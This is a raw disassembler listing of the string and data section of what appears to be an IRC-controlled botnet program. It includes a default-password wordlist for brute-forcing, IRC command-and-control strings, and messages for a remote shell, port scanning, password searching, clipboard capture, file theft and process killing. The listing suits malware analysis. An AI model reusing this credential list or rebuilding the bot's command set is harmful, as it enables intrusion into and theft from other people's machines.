aTemp		db 'TEMP',0             ; DATA XREF: ___:0042F7FCo
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042F7F8o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042F7F4o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042F7ECo
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042F7E8o
		align 10h
aBla		db 'bla',0              ; DATA XREF: ___:0042F7E4o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042F7E0o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F7D4o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F7C4o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042F7C0o
					; ___:0042F8ACo
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:0042F7BCo
aDatabase	db 'database',0         ; DATA XREF: ___:0042F7B8o
					; ___:0042F8A0o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:0042F7B4o
					; ___:0042FF40o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042F7B0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042F7ACo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042F7A8o
					; ___:00430ED4o
aStudent	db 'student',0          ; DATA XREF: ___:0042F7A4o
					; ___:00430E1Co
aOwner		db 'owner',0            ; DATA XREF: ___:0042F7A0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042F79Co
					; ___:0042F8B8o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042F798o
					; ___:0042F7F0o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:0042F794o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042F790o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: ___:0042F78Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042F788o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042F784o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042F780o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042F77Co
					; ___:0042F7DCo
		align 4
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6CCo
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C8o
dword_43511C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E6A9+352o
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435144	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E6A9+280o
dword_435150	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 4
dword_4351C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4351F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_435220	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		db 75h
aThBySS_	db 'th by: (%s!%s).',0  ; DATA XREF: ___:off_4274DCo
		align 4
dword_43525C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 4
asc_4352E4:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_4352E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43531C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_435358	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_435394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_4353B4	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_435400	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_43544C	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435494	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_4354A4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_4354B0	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_4354BC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_4354CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_43550C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_43555C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435598	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435608	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435634	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_435638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435660	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A8	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_435720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435748	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435798	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 10h
unk_4357D0	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_435834	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43585C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43588C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_4358C4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_43593C	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435978	db    2			; DATA XREF: sub_40EE72+56EDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359AC	db    2			; DATA XREF: sub_40EE72:loc_41454Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E8	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_435A24	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A58	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 10h
unk_435AF0	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B38	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 10h
unk_435B80	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BAC	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF8	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C30	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_435C74	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435D20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_435DE4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E18	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_435E50	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o
					; sub_40EE72:loc_414B4Co
		align 4
dword_435E9C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C6Ao
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_435ED0	db    3			; DATA XREF: sub_40EE72:loc_413AC7o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_435F14	db    3			; DATA XREF: sub_40EE72+4C4Bo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 10h
dword_435F50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C2Bo
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435F84	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A51o
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FBC	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB4o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE8	db    2			; DATA XREF: sub_40EE72:loc_4139F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436028	db    2			; DATA XREF: sub_40EE72+4B76o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_43605C	db    2			; DATA XREF: sub_40EE72:loc_413992o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 10h
unk_4360A0	db    2			; DATA XREF: sub_40EE72+4B19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D8	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD4o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436104	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Fo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436138	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D4o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_43615C	db    2			; DATA XREF: sub_40EE72+49B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4947o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361D0	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413747o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361FC	db    2			; DATA XREF: sub_40EE72+48CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436228	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+489Ao
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_436250	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Fo
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43628C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Fo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+483Bo
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4362F0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41363Bo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
